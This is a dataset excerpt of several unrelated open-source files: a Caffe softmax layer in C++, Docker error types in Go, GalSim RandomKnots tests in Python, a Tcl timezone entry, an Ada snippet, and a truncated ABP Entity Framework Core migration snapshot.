text
stringlengths 2
100k
| meta
dict |
---|---|
#include <algorithm>
#include <vector>
#include "caffe/layers/softmax_layer.hpp"
#include "caffe/util/math_functions.hpp"
namespace caffe {
template <typename Dtype>
void SoftmaxLayer<Dtype>::Reshape(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top) {
softmax_axis_ =
bottom[0]->CanonicalAxisIndex(this->layer_param_.softmax_param().axis());
top[0]->ReshapeLike(*bottom[0]);
vector<int> mult_dims(1, bottom[0]->shape(softmax_axis_));
sum_multiplier_.Reshape(mult_dims);
Dtype* multiplier_data = sum_multiplier_.mutable_cpu_data();
caffe_set(sum_multiplier_.count(), Dtype(1), multiplier_data);
outer_num_ = bottom[0]->count(0, softmax_axis_);
inner_num_ = bottom[0]->count(softmax_axis_ + 1);
vector<int> scale_dims = bottom[0]->shape();
scale_dims[softmax_axis_] = 1;
scale_.Reshape(scale_dims);
}
template <typename Dtype>
void SoftmaxLayer<Dtype>::Forward_cpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top) {
const Dtype* bottom_data = bottom[0]->cpu_data();
Dtype* top_data = top[0]->mutable_cpu_data();
Dtype* scale_data = scale_.mutable_cpu_data();
int channels = bottom[0]->shape(softmax_axis_);
int dim = bottom[0]->count() / outer_num_;
caffe_copy(bottom[0]->count(), bottom_data, top_data);
// We need to subtract the max to avoid numerical issues, compute the exp,
// and then normalize.
for (int i = 0; i < outer_num_; ++i) {
// initialize scale_data to the first plane
caffe_copy(inner_num_, bottom_data + i * dim, scale_data);
for (int j = 0; j < channels; j++) {
for (int k = 0; k < inner_num_; k++) {
scale_data[k] = std::max(scale_data[k],
bottom_data[i * dim + j * inner_num_ + k]);
}
}
// subtraction
caffe_cpu_gemm<Dtype>(CblasNoTrans, CblasNoTrans, channels, inner_num_,
1, -1., sum_multiplier_.cpu_data(), scale_data, 1., top_data);
// exponentiation
caffe_exp<Dtype>(dim, top_data, top_data);
// sum after exp
caffe_cpu_gemv<Dtype>(CblasTrans, channels, inner_num_, 1.,
top_data, sum_multiplier_.cpu_data(), 0., scale_data);
// division
for (int j = 0; j < channels; j++) {
caffe_div(inner_num_, top_data, scale_data, top_data);
top_data += inner_num_;
}
}
}
template <typename Dtype>
void SoftmaxLayer<Dtype>::Backward_cpu(const vector<Blob<Dtype>*>& top,
const vector<bool>& propagate_down,
const vector<Blob<Dtype>*>& bottom) {
const Dtype* top_diff = top[0]->cpu_diff();
const Dtype* top_data = top[0]->cpu_data();
Dtype* bottom_diff = bottom[0]->mutable_cpu_diff();
Dtype* scale_data = scale_.mutable_cpu_data();
int channels = top[0]->shape(softmax_axis_);
int dim = top[0]->count() / outer_num_;
caffe_copy(top[0]->count(), top_diff, bottom_diff);
for (int i = 0; i < outer_num_; ++i) {
// compute dot(top_diff, top_data) and subtract them from the bottom diff
for (int k = 0; k < inner_num_; ++k) {
scale_data[k] = caffe_cpu_strided_dot<Dtype>(channels,
bottom_diff + i * dim + k, inner_num_,
top_data + i * dim + k, inner_num_);
}
// subtraction
caffe_cpu_gemm<Dtype>(CblasNoTrans, CblasNoTrans, channels, inner_num_, 1,
-1., sum_multiplier_.cpu_data(), scale_data, 1., bottom_diff + i * dim);
}
// elementwise multiplication
caffe_mul(top[0]->count(), bottom_diff, top_data, bottom_diff);
}
#ifdef CPU_ONLY
STUB_GPU(SoftmaxLayer);
#endif
INSTANTIATE_CLASS(SoftmaxLayer);
} // namespace caffe
| {
"pile_set_name": "Github"
} |
package reference // import "github.com/docker/docker/reference"
type notFoundError string
func (e notFoundError) Error() string {
return string(e)
}
func (notFoundError) NotFound() {}
type invalidTagError string
func (e invalidTagError) Error() string {
return string(e)
}
func (invalidTagError) InvalidParameter() {}
type conflictingTagError string
func (e conflictingTagError) Error() string {
return string(e)
}
func (conflictingTagError) Conflict() {}
| {
"pile_set_name": "Github"
} |
# Copyright (c) 2012-2019 by the GalSim developers team on GitHub
# https://github.com/GalSim-developers
#
# This file is part of GalSim: The modular galaxy image simulation toolkit.
# https://github.com/GalSim-developers/GalSim
#
# GalSim is free software: redistribution and use in source and binary forms,
# with or without modification, are permitted provided that the following
# conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this
# list of conditions, and the disclaimer given in the accompanying LICENSE
# file.
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions, and the disclaimer given in the documentation
# and/or other materials provided with the distribution.
#
from __future__ import print_function
import numpy as np
import os
import sys
import galsim
from galsim.errors import (
GalSimValueError,
GalSimRangeError,
GalSimIncompatibleValuesError,
)
from galsim_test_helpers import *
@timer
def test_knots_defaults():
"""
Create a random walk galaxy and test that the getters work for
default inputs
"""
# try constructing with mostly defaults
npoints=100
hlr = 8.0
rng = galsim.BaseDeviate(1234)
rw=galsim.RandomKnots(npoints, half_light_radius=hlr, rng=rng)
assert rw.npoints==npoints,"expected npoints==%d, got %d" % (npoints, rw.npoints)
assert rw.input_half_light_radius==hlr,\
"expected hlr==%g, got %g" % (hlr, rw.input_half_light_radius)
nobj=len(rw.points)
assert nobj == npoints,"expected %d objects, got %d" % (npoints, nobj)
pts=rw.points
assert pts.shape == (npoints,2),"expected (%d,2) shape for points, got %s" % (npoints, pts.shape)
np.testing.assert_almost_equal(rw.centroid.x, np.mean(pts[:,0]))
np.testing.assert_almost_equal(rw.centroid.y, np.mean(pts[:,1]))
gsp = galsim.GSParams(xvalue_accuracy=1.e-8, kvalue_accuracy=1.e-8)
rng2 = galsim.BaseDeviate(1234)
rw2 = galsim.RandomKnots(npoints, half_light_radius=hlr, rng=rng2, gsparams=gsp)
assert rw2 != rw
assert rw2 == rw.withGSParams(gsp)
# Check that they produce identical images.
psf = galsim.Gaussian(sigma=0.8)
conv1 = galsim.Convolve(rw.withGSParams(gsp), psf)
conv2 = galsim.Convolve(rw2, psf)
im1 = conv1.drawImage()
im2 = conv2.drawImage()
assert im1 == im2
# Check that image is not sensitive to use of rng by other objects.
rng3 = galsim.BaseDeviate(1234)
rw3=galsim.RandomKnots(npoints, half_light_radius=hlr, rng=rng3)
rng3.discard(523)
conv1 = galsim.Convolve(rw, psf)
conv3 = galsim.Convolve(rw3, psf)
im1 = conv1.drawImage()
im3 = conv2.drawImage()
assert im1 == im3
# Run some basic tests of correctness
check_basic(conv1, "RandomKnots")
im = galsim.ImageD(64,64, scale=0.5)
do_shoot(conv1, im, "RandomKnots")
do_kvalue(conv1, im, "RandomKnots")
do_pickle(rw)
do_pickle(conv1)
do_pickle(conv1, lambda x: x.drawImage(scale=1))
# Check negative flux
rw3 = rw.withFlux(-2.3)
assert rw3 == galsim.RandomKnots(npoints, half_light_radius=hlr, rng=galsim.BaseDeviate(1234),
flux=-2.3)
conv = galsim.Convolve(rw3, psf)
check_basic(conv, "RandomKnots with negative flux")
@timer
def test_knots_valid_inputs():
"""
Create a random walk galaxy and test that the getters work for
valid non-default inputs
"""
# try constructing with mostly defaults
npoints=100
hlr = 8.0
flux = 3.5
seed=35
rng=galsim.UniformDeviate(seed)
args = (npoints,)
kw1 = {'half_light_radius':hlr,'flux':flux,'rng':rng}
prof=galsim.Exponential(half_light_radius=hlr, flux=flux)
kw2 = {'profile':prof, 'rng':rng}
# version of profile with a transformation
prof=galsim.Exponential(half_light_radius=hlr, flux=flux)
prof=prof.shear(g1=-0.05,g2=0.025)
kw3 = {'profile':prof, 'rng':rng}
for kw in (kw1, kw2, kw3):
rw=galsim.RandomKnots(*args, **kw)
assert rw.npoints==npoints,"expected npoints==%d, got %d" % (npoints, rw.npoints)
assert rw.flux==flux,\
"expected flux==%g, got %g" % (flux, rw.flux)
if kw is not kw3:
# only test if not a transformation object
assert rw.input_half_light_radius==hlr,\
"expected hlr==%g, got %g" % (hlr, rw.input_half_light_radius)
pts=rw.points
nobj=len(pts)
assert nobj == npoints==npoints,"expected %d objects, got %d" % (npoints, nobj)
pts=rw.points
assert pts.shape == (npoints,2),"expected (%d,2) shape for points, got %s" % (npoints, pts.shape)
@timer
def test_knots_invalid_inputs():
"""
Create a random walk galaxy and test that the the correct exceptions
are raised for invalid inputs
"""
npoints=100
hlr = 8.0
flux = 1.0
# try sending wrong type for npoints
with assert_raises(GalSimValueError):
galsim.RandomKnots('blah', half_light_radius=1, flux=3)
# try sending neither profile or hlr
with assert_raises(GalSimIncompatibleValuesError):
galsim.RandomKnots(npoints)
# try with rng wrong type
with assert_raises(TypeError):
galsim.RandomKnots(npoints, half_light_radius=hlr, rng=37)
# wrong type for profile
with assert_raises(GalSimIncompatibleValuesError):
galsim.RandomKnots(npoints, profile=3.5)
# wrong type for npoints
npoints_bad=[35]
with assert_raises(TypeError):
galsim.RandomKnots(npoints_bad, half_light_radius=hlr)
# wrong type for hlr
with assert_raises(GalSimRangeError):
galsim.RandomKnots(npoints, half_light_radius=-1.5)
# wrong type for flux
with assert_raises(TypeError):
galsim.RandomKnots(npoints, flux=[3.5], half_light_radius=hlr)
# sending flux with a profile
prof=galsim.Exponential(half_light_radius=hlr, flux=2.0)
with assert_raises(GalSimIncompatibleValuesError):
galsim.RandomKnots(npoints, flux=flux, profile=prof)
# sending hlr with a profile
with assert_raises(GalSimIncompatibleValuesError):
galsim.RandomKnots(npoints, half_light_radius=3, profile=prof)
# bad value for npoints
npoints_bad=-35
with assert_raises(GalSimRangeError):
galsim.RandomKnots(npoints_bad, half_light_radius=hlr)
# bad value for hlr
with assert_raises(GalSimRangeError):
galsim.RandomKnots(npoints, half_light_radius=-1.5)
@timer
def test_knots_repr():
"""
test the repr and str work, and that a new object can be created
using eval
"""
npoints=100
hlr = 8.0
flux=1
rw1=galsim.RandomKnots(
npoints,
half_light_radius=hlr,
flux=flux,
)
rw2=galsim.RandomKnots(
npoints,
profile=galsim.Exponential(half_light_radius=hlr, flux=flux),
)
for rw in (rw1, rw2):
# just make sure str() works, don't require eval to give
# a consistent object back
st=str(rw)
# require eval(repr(rw)) to give a consistent object back
new_rw = eval(repr(rw))
assert new_rw.npoints == rw.npoints,\
"expected npoints=%d got %d" % (rw.npoints,new_rw.npoints)
mess="expected input_half_light_radius=%.16g got %.16g"
assert new_rw.input_half_light_radius == rw.input_half_light_radius,\
mess % (rw.input_half_light_radius,new_rw.input_half_light_radius)
assert new_rw.flux == rw.flux,\
"expected flux=%.16g got %.16g" % (rw.flux,new_rw.flux)
@timer
def test_knots_config():
"""
test we get the same object using a configuration and the
explicit constructor
"""
hlr=2.0
flux=np.pi
gal_config1 = {
'type':'RandomKnots',
'npoints':100,
'half_light_radius':hlr,
'flux':flux,
}
gal_config2 = {
'type':'RandomKnots',
'npoints':150,
'profile': {
'type': 'Exponential',
'half_light_radius': hlr,
'flux': flux,
}
}
for gal_config in (gal_config1, gal_config2):
config={
'gal':gal_config,
'rng':galsim.BaseDeviate(31415),
}
rwc = galsim.config.BuildGSObject(config, 'gal')[0]
print(repr(rwc._profile))
rw = galsim.RandomKnots(
gal_config['npoints'],
half_light_radius=hlr,
flux=flux,
)
assert rw.npoints==rwc.npoints,\
"expected npoints==%d, got %d" % (rw.npoints, rwc.npoints)
assert rw.input_half_light_radius==rwc.input_half_light_radius,\
"expected hlr==%g, got %g" % (rw.input_half_light_radius, rw.input_half_light_radius)
nobj=len(rw.points)
nobjc=len(rwc.points)
assert nobj==nobjc,"expected %d objects, got %d" % (nobj,nobjc)
pts=rw.points
ptsc=rwc.points
assert (pts.shape == ptsc.shape),\
"expected %s shape for points, got %s" % (pts.shape,ptsc.shape)
@timer
def test_knots_hlr():
"""
Create a random walk galaxy and test that the half light radius
is consistent with the requested value
Note for DeV profile we don't test npoints=3 because it fails
"""
# for checking accuracy, we need expected standard deviation of
# the result
interp_npts = np.array([6,7,8,9,10,15,20,30,50,75,100,150,200,500,1000])
interp_hlr = np.array([7.511,7.597,7.647,7.68,7.727,7.827,7.884,7.936,7.974,8.0,8.015,8.019,8.031,8.027,8.043])/8.0
interp_std = np.array([2.043,2.029,1.828,1.817,1.67,1.443,1.235,1.017,0.8046,0.6628,0.5727,0.4703,0.4047,0.255,0.1851])/8.0
hlr = 8.0
# test these npoints
npt_vals=[3, 10, 30, 60, 100, 1000]
# should be within 5 sigma
nstd=5
# number of trials
ntrial_vals=[100]*len(npt_vals)
profs = [
galsim.Gaussian(half_light_radius=hlr),
galsim.Exponential(half_light_radius=hlr),
galsim.DeVaucouleurs(half_light_radius=hlr),
]
for prof in profs:
for ipts,npoints in enumerate(npt_vals):
# DeV profile will fail for npoints==3
if isinstance(prof,galsim.DeVaucouleurs) and npoints==3:
continue
ntrial=ntrial_vals[ipts]
hlr_calc=np.zeros(ntrial)
for i in range(ntrial):
#rw=galsim.RandomKnots(npoints, hlr)
rw=galsim.RandomKnots(npoints, profile=prof)
hlr_calc[i] = rw.calculateHLR()
mn=hlr_calc.mean()
std_check=np.interp(npoints, interp_npts, interp_std*hlr)
mess="hlr for npoints: %d outside of expected range" % npoints
assert abs(mn-hlr) < nstd*std_check, mess
@timer
def test_knots_transform():
"""Test that overridden transformations give equivalent results as the normal methods.
"""
def test_op(rw, op):
print(op)
rw1 = eval('rw.' + op)
rw2 = eval('super(galsim.RandomKnots,rw).' + op)
# Need to convolve by a psf to get reasonable results for fft drawing.
psf = galsim.Moffat(beta=1.5, fwhm=0.9)
conv1 = galsim.Convolve(rw1, psf)
conv2 = galsim.Convolve(rw2, psf)
im1 = conv1.drawImage(nx=16, ny=16, scale=0.3)
im2 = conv2.drawImage(nx=16, ny=16, scale=0.3)
np.testing.assert_almost_equal(im1.array, im2.array, decimal=3,
err_msg='RandomKnots with op '+op)
if __name__ == '__main__':
npoints = 20
else:
npoints = 3 # Not too many, so this test doesn't take forever.
hlr = 1.7
flux = 1000
rng = galsim.BaseDeviate(1234)
rw = galsim.RandomKnots(npoints, profile=galsim.Exponential(half_light_radius=hlr, flux=flux),
rng=rng)
if __name__ == '__main__':
# First relatively trivial tests of no ops
test_op(rw, 'withScaledFlux(1.0)')
test_op(rw, 'expand(1.0)')
test_op(rw, 'dilate(1.0)')
test_op(rw, 'shear(g1=0, g2=0)')
test_op(rw, 'rotate(0 * galsim.degrees)')
test_op(rw, 'transform(1., 0., 0., 1.)')
test_op(rw, 'shift(0., 0.)')
test_op(rw, 'rotate(23 * galsim.degrees)') # no op, since original is isotropic
# These are fundamental, since these are the methods we override. Always test these.
test_op(rw, 'withFlux(23)')
test_op(rw, 'withScaledFlux(23)')
test_op(rw, 'expand(1.2)')
test_op(rw, 'dilate(1.2)')
test_op(rw, 'shear(g1=0.1, g2=-0.03)')
test_op(rw, '_shear(galsim.Shear(0.03 + 1j*0.09))')
test_op(rw.shear(g1=0.05, g2=0), 'rotate(23 * galsim.degrees)')
test_op(rw, 'transform(1.2, 0.1, -0.2, 1.1)')
test_op(rw, 'shift(0.3, 0.9)')
test_op(rw, '_shift(galsim.PositionD(-0.3, 0.2))')
if __name__ == '__main__':
# A couple more that are currently not overridden, but call out to the above functions.
test_op(rw, 'magnify(1.2)')
test_op(rw, 'lens(0.03, 0.07, 1.12)')
@timer
def test_knots_sed():
"""Test RandomKnots with an SED
This test is in response to isse #1064, a bug discovered by Troxel.
"""
sed = galsim.SED('CWW_E_ext.sed', 'A', 'flambda')
knots = galsim.RandomKnots(10, half_light_radius=1.3, flux=100)
gal1 = galsim.ChromaticObject(knots) * sed
gal2 = knots * sed # This line used to fail.
do_pickle(gal1)
do_pickle(gal2)
# They don't test as ==, since they are formed differently. But they are functionally equal:
bandpass = galsim.Bandpass('LSST_r.dat', 'nm')
psf = galsim.Gaussian(fwhm=0.7)
final1 = galsim.Convolve(gal1, psf)
final2 = galsim.Convolve(gal2, psf)
im1 = final1.drawImage(bandpass, scale=0.4)
im2 = final2.drawImage(bandpass, scale=0.4)
np.testing.assert_array_equal(im1.array, im2.array)
if __name__ == "__main__":
test_knots_defaults()
test_knots_valid_inputs()
test_knots_invalid_inputs()
test_knots_repr()
test_knots_config()
test_knots_hlr()
test_knots_transform()
test_knots_sed()
| {
"pile_set_name": "Github"
} |
# created by tools/tclZIC.tcl - do not edit
set TZData(:Antarctica/DumontDUrville) {
{-9223372036854775808 0 0 -00}
{-725846400 36000 0 PMT}
{-566992800 0 0 -00}
{-415497600 36000 0 DDUT}
}
| {
"pile_set_name": "Github"
} |
procedure Array_Collection is
A : array (-3 .. -1) of Integer := (1, 2, 3);
begin
A (-3) := 3;
A (-2) := 2;
A (-1) := 1;
end Array_Collection;
| {
"pile_set_name": "Github"
} |
// <auto-generated />
using Abp.Authorization;
using Abp.BackgroundJobs;
using Abp.Events.Bus.Entities;
using Abp.Notifications;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Infrastructure;
using Microsoft.EntityFrameworkCore.Metadata;
using Microsoft.EntityFrameworkCore.Migrations;
using Microsoft.EntityFrameworkCore.Storage;
using Microsoft.EntityFrameworkCore.Storage.Internal;
using Microsoft.EntityFrameworkCore.ValueGeneration;
using System;
using Volo.PostgreSqlDemo.EntityFrameworkCore;
namespace Volo.PostgreSqlDemo.Migrations
{
[DbContext(typeof(PostgreSqlDemoDbContext))]
[Migration("20180206083255_Initial_Migration")]
partial class Initial_Migration
{
protected override void BuildTargetModel(ModelBuilder modelBuilder)
{
#pragma warning disable 612, 618
modelBuilder
.HasAnnotation("Npgsql:ValueGenerationStrategy", NpgsqlValueGenerationStrategy.SerialColumn)
.HasAnnotation("ProductVersion", "2.0.1-rtm-125");
modelBuilder.Entity("Abp.Application.Editions.Edition", b =>
{
b.Property<int>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<long?>("DeleterUserId");
b.Property<DateTime?>("DeletionTime");
b.Property<string>("DisplayName")
.IsRequired()
.HasMaxLength(64);
b.Property<bool>("IsDeleted");
b.Property<DateTime?>("LastModificationTime");
b.Property<long?>("LastModifierUserId");
b.Property<string>("Name")
.IsRequired()
.HasMaxLength(32);
b.HasKey("Id");
b.ToTable("AbpEditions");
});
modelBuilder.Entity("Abp.Application.Features.FeatureSetting", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<string>("Discriminator")
.IsRequired();
b.Property<string>("Name")
.IsRequired()
.HasMaxLength(128);
b.Property<int?>("TenantId");
b.Property<string>("Value")
.IsRequired()
.HasMaxLength(2000);
b.HasKey("Id");
b.ToTable("AbpFeatures");
b.HasDiscriminator<string>("Discriminator").HasValue("FeatureSetting");
});
modelBuilder.Entity("Abp.Auditing.AuditLog", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("BrowserInfo");
b.Property<string>("ClientIpAddress");
b.Property<string>("ClientName");
b.Property<string>("CustomData");
b.Property<string>("Exception");
b.Property<int>("ExecutionDuration");
b.Property<DateTime>("ExecutionTime");
b.Property<int?>("ImpersonatorTenantId");
b.Property<long?>("ImpersonatorUserId");
b.Property<string>("MethodName");
b.Property<string>("Parameters");
b.Property<string>("ServiceName");
b.Property<int?>("TenantId");
b.Property<long?>("UserId");
b.HasKey("Id");
b.ToTable("AbpAuditLogs");
});
modelBuilder.Entity("Abp.Authorization.PermissionSetting", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<string>("Discriminator")
.IsRequired();
b.Property<bool>("IsGranted");
b.Property<string>("Name")
.IsRequired()
.HasMaxLength(128);
b.Property<int?>("TenantId");
b.HasKey("Id");
b.ToTable("AbpPermissions");
b.HasDiscriminator<string>("Discriminator").HasValue("PermissionSetting");
});
modelBuilder.Entity("Abp.Authorization.Roles.RoleClaim", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("ClaimType")
.HasMaxLength(256);
b.Property<string>("ClaimValue");
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<int>("RoleId");
b.Property<int?>("TenantId");
b.HasKey("Id");
b.HasIndex("RoleId");
b.ToTable("AbpRoleClaims");
});
modelBuilder.Entity("Abp.Authorization.Users.UserAccount", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<long?>("DeleterUserId");
b.Property<DateTime?>("DeletionTime");
b.Property<string>("EmailAddress")
.HasMaxLength(256);
b.Property<bool>("IsDeleted");
b.Property<DateTime?>("LastLoginTime");
b.Property<DateTime?>("LastModificationTime");
b.Property<long?>("LastModifierUserId");
b.Property<int?>("TenantId");
b.Property<long>("UserId");
b.Property<long?>("UserLinkId");
b.Property<string>("UserName")
.HasMaxLength(32);
b.HasKey("Id");
b.ToTable("AbpUserAccounts");
});
modelBuilder.Entity("Abp.Authorization.Users.UserClaim", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("ClaimType")
.HasMaxLength(256);
b.Property<string>("ClaimValue");
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<int?>("TenantId");
b.Property<long>("UserId");
b.HasKey("Id");
b.HasIndex("UserId");
b.ToTable("AbpUserClaims");
});
modelBuilder.Entity("Abp.Authorization.Users.UserLogin", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("LoginProvider")
.IsRequired()
.HasMaxLength(128);
b.Property<string>("ProviderKey")
.IsRequired()
.HasMaxLength(256);
b.Property<int?>("TenantId");
b.Property<long>("UserId");
b.HasKey("Id");
b.HasIndex("UserId");
b.ToTable("AbpUserLogins");
});
modelBuilder.Entity("Abp.Authorization.Users.UserLoginAttempt", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("BrowserInfo")
.HasMaxLength(256);
b.Property<string>("ClientIpAddress")
.HasMaxLength(64);
b.Property<string>("ClientName")
.HasMaxLength(128);
b.Property<DateTime>("CreationTime");
b.Property<byte>("Result");
b.Property<string>("TenancyName")
.HasMaxLength(64);
b.Property<int?>("TenantId");
b.Property<long?>("UserId");
b.Property<string>("UserNameOrEmailAddress")
.HasMaxLength(255);
b.HasKey("Id");
b.ToTable("AbpUserLoginAttempts");
});
modelBuilder.Entity("Abp.Authorization.Users.UserOrganizationUnit", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<bool>("IsDeleted");
b.Property<long>("OrganizationUnitId");
b.Property<int?>("TenantId");
b.Property<long>("UserId");
b.HasKey("Id");
b.ToTable("AbpUserOrganizationUnits");
});
modelBuilder.Entity("Abp.Authorization.Users.UserRole", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<int>("RoleId");
b.Property<int?>("TenantId");
b.Property<long>("UserId");
b.HasKey("Id");
b.HasIndex("UserId");
b.ToTable("AbpUserRoles");
});
modelBuilder.Entity("Abp.Authorization.Users.UserToken", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("LoginProvider");
b.Property<string>("Name");
b.Property<int?>("TenantId");
b.Property<long>("UserId");
b.Property<string>("Value");
b.HasKey("Id");
b.HasIndex("UserId");
b.ToTable("AbpUserTokens");
});
modelBuilder.Entity("Abp.BackgroundJobs.BackgroundJobInfo", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<bool>("IsAbandoned");
b.Property<string>("JobArgs")
.IsRequired()
.HasMaxLength(1048576);
b.Property<string>("JobType")
.IsRequired()
.HasMaxLength(512);
b.Property<DateTime?>("LastTryTime");
b.Property<DateTime>("NextTryTime");
b.Property<byte>("Priority");
b.Property<short>("TryCount");
b.HasKey("Id");
b.ToTable("AbpBackgroundJobs");
});
modelBuilder.Entity("Abp.Configuration.Setting", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<DateTime?>("LastModificationTime");
b.Property<long?>("LastModifierUserId");
b.Property<string>("Name")
.IsRequired()
.HasMaxLength(256);
b.Property<int?>("TenantId");
b.Property<long?>("UserId");
b.Property<string>("Value")
.HasMaxLength(2000);
b.HasKey("Id");
b.HasIndex("UserId");
b.ToTable("AbpSettings");
});
modelBuilder.Entity("Abp.EntityHistory.EntityChange", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("ChangeTime");
b.Property<byte>("ChangeType");
b.Property<long>("EntityChangeSetId");
b.Property<string>("EntityId")
.HasMaxLength(48);
b.Property<string>("EntityTypeFullName")
.HasMaxLength(192);
b.Property<int?>("TenantId");
b.HasKey("Id");
b.HasIndex("EntityChangeSetId");
b.ToTable("AbpEntityChanges");
});
modelBuilder.Entity("Abp.EntityHistory.EntityChangeSet", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<string>("BrowserInfo")
.HasMaxLength(256);
b.Property<string>("ClientIpAddress")
.HasMaxLength(64);
b.Property<string>("ClientName")
.HasMaxLength(128);
b.Property<DateTime>("CreationTime");
b.Property<string>("ExtensionData");
b.Property<int?>("ImpersonatorTenantId");
b.Property<long?>("ImpersonatorUserId");
b.Property<string>("Reason")
.HasMaxLength(256);
b.Property<int?>("TenantId");
b.Property<long?>("UserId");
b.HasKey("Id");
b.ToTable("AbpEntityChangeSets");
});
modelBuilder.Entity("Abp.EntityHistory.EntityPropertyChange", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<long>("EntityChangeId");
b.Property<string>("NewValue")
.HasMaxLength(512);
b.Property<string>("OriginalValue")
.HasMaxLength(512);
b.Property<string>("PropertyName")
.HasMaxLength(96);
b.Property<string>("PropertyTypeFullName")
.HasMaxLength(192);
b.Property<int?>("TenantId");
b.HasKey("Id");
b.HasIndex("EntityChangeId");
b.ToTable("AbpEntityPropertyChanges");
});
modelBuilder.Entity("Abp.Localization.ApplicationLanguage", b =>
{
b.Property<int>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<long?>("DeleterUserId");
b.Property<DateTime?>("DeletionTime");
b.Property<string>("DisplayName")
.IsRequired()
.HasMaxLength(64);
b.Property<string>("Icon")
.HasMaxLength(128);
b.Property<bool>("IsDeleted");
b.Property<bool>("IsDisabled");
b.Property<DateTime?>("LastModificationTime");
b.Property<long?>("LastModifierUserId");
b.Property<string>("Name")
.IsRequired()
.HasMaxLength(10);
b.Property<int?>("TenantId");
b.HasKey("Id");
b.ToTable("AbpLanguages");
});
modelBuilder.Entity("Abp.Localization.ApplicationLanguageText", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<string>("Key")
.IsRequired()
.HasMaxLength(256);
b.Property<string>("LanguageName")
.IsRequired()
.HasMaxLength(10);
b.Property<DateTime?>("LastModificationTime");
b.Property<long?>("LastModifierUserId");
b.Property<string>("Source")
.IsRequired()
.HasMaxLength(128);
b.Property<int?>("TenantId");
b.Property<string>("Value")
.IsRequired()
.HasMaxLength(100);
b.HasKey("Id");
b.ToTable("AbpLanguageTexts");
});
modelBuilder.Entity("Abp.Notifications.NotificationInfo", b =>
{
b.Property<Guid>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<string>("Data")
.HasMaxLength(1048576);
b.Property<string>("DataTypeName")
.HasMaxLength(512);
b.Property<string>("EntityId")
.HasMaxLength(96);
b.Property<string>("EntityTypeAssemblyQualifiedName")
.HasMaxLength(512);
b.Property<string>("EntityTypeName")
.HasMaxLength(250);
b.Property<string>("ExcludedUserIds")
.HasMaxLength(131072);
b.Property<string>("NotificationName")
.IsRequired()
.HasMaxLength(96);
b.Property<byte>("Severity");
b.Property<string>("TenantIds")
.HasMaxLength(131072);
b.Property<string>("UserIds")
.HasMaxLength(131072);
b.HasKey("Id");
b.ToTable("AbpNotifications");
});
modelBuilder.Entity("Abp.Notifications.NotificationSubscriptionInfo", b =>
{
b.Property<Guid>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<string>("EntityId")
.HasMaxLength(96);
b.Property<string>("EntityTypeAssemblyQualifiedName")
.HasMaxLength(512);
b.Property<string>("EntityTypeName")
.HasMaxLength(250);
b.Property<string>("NotificationName")
.HasMaxLength(96);
b.Property<int?>("TenantId");
b.Property<long>("UserId");
b.HasKey("Id");
b.ToTable("AbpNotificationSubscriptions");
});
modelBuilder.Entity("Abp.Notifications.TenantNotificationInfo", b =>
{
b.Property<Guid>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<long?>("CreatorUserId");
b.Property<string>("Data")
.HasMaxLength(1048576);
b.Property<string>("DataTypeName")
.HasMaxLength(512);
b.Property<string>("EntityId")
.HasMaxLength(96);
b.Property<string>("EntityTypeAssemblyQualifiedName")
.HasMaxLength(512);
b.Property<string>("EntityTypeName")
.HasMaxLength(250);
b.Property<string>("NotificationName")
.IsRequired()
.HasMaxLength(96);
b.Property<byte>("Severity");
b.Property<int?>("TenantId");
b.HasKey("Id");
b.ToTable("AbpTenantNotifications");
});
modelBuilder.Entity("Abp.Notifications.UserNotificationInfo", b =>
{
b.Property<Guid>("Id")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreationTime");
b.Property<int>("State");
b.Property<int?>("TenantId");
b.Property<Guid>("TenantNotificationId");
b.Property<long>("UserId");
b.HasKey("Id");
